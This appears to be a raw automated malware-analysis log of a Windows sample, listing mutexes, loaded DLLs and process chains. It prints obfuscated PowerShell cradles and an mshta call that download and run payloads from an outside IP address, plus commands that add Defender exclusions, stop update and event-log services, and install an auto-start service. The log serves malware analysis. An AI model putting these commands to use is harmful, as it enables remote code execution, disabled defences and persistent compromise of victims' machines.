Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:612:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4924:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4592:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1112:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7408:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6756:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8080:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\tempScript.js

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\CMD.vbs"

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 65%

Source: LB31.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: Mig.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\wscript.exe "wscript" C:\Users\user\AppData\Local\Temp\tempScript.js
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/3.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\CMD.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c mshta http://176.113.115.178/Windows-Update
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta http://176.113.115.178/Windows-Update
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\LB31.exe "C:\Users\user\AppData\Roaming\LB31.exe"
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "LIB"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "LIB"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\Mig\Mig.exe C:\ProgramData\Mig\Mig.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\wscript.exe "wscript" C:\Users\user\AppData\Local\Temp\tempScript.js	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/3.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\CMD.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c mshta http://176.113.115.178/Windows-Update	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta http://176.113.115.178/Windows-Update	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\LB31.exe "C:\Users\user\AppData\Roaming\LB31.exe"
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "LIB"
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto"
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "LIB"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
